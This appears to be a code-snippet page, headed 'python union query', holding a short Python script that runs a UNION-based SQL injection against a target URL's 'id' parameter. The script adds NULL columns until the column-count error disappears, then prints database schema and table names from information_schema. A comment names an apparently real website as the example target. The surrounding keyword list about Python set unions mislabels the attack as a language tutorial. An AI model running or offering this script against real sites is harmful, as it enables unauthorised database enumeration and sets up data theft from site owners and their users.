python union query

# pip install requests
import requests

def main():
    # http://www.meggieschneider.com/php/detail.php?id=48
    url = input('Target: ')
    idx = 0
    while True:
        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
        if idx > 0:
            nulls = ', ' + nulls
        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
        print(f'''\n
            {req}
            ''')
        r = requests.get(f'{url}?{req}')
        if 'The used SELECT statements have a different number of columns' not in str(r.content):
            print(f'''\n
            {r.text}
            ''')
            break
        idx = idx + 1

if __name__ == '__main__':
    main()

Are there any code examples left?
Create a Free Account
Unlock the power of data and AI by diving into Python, ChatGPT, SQL, Power BI, and beyond.
Sign up
Develop soft skills on BrainApps
Complete the IQ Test
Relative searches
queryset union python union all in python query example union all in python query union() python union function in python union querysets python union syntax python union find python python math Union python what is union python set union set union two sets python unnion in sets python union in python using | union operator in python python: union of two sets find union of two sets in python union and other function in python iusing union in python sql python union python unnion python Unioin union functions in python union function python how to unition a def function in python union find in python union sets in python what does union do in python python union function what does union do python how do you union sets in python union of sets python python union set python .union python union sql syntax union of set python python set union method python union operator how to find the union of set in python and print it union set python python3 Union union sets python union operator python .union in python how to do union in set python union() in python union of 3 sets in python union of sets in python union in set python union in python Union symbol in Python union of two sets python python union of two sets union python create a union python union symbol in python language union in python python sets union python union() union python3 set.union python union set in python .union python what is union in python python union union two sets in python how to use .union python set union in python set union python python set union most python set union function of set.union(list) in python python union query
Made with love
This website uses cookies to make IQCode work for you. By using this site, you agree to our cookie policy

Welcome Back!

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign in
Recover lost password
Or log in with

Create a Free Account

Sign up to unlock all of IQCode features:
  • Test your skills and track progress
  • Engage in comprehensive interactive courses
  • Commit to daily skill-enhancing challenges
  • Solve practical, real-world issues
  • Share your insights and learnings
Create an account
Sign up
Or sign up with
By signing up, you agree to the Terms and Conditions and Privacy Policy. You also agree to receive product-related marketing emails from IQCode, which you can unsubscribe from at any time.
Creating a new code example
Code snippet title
Source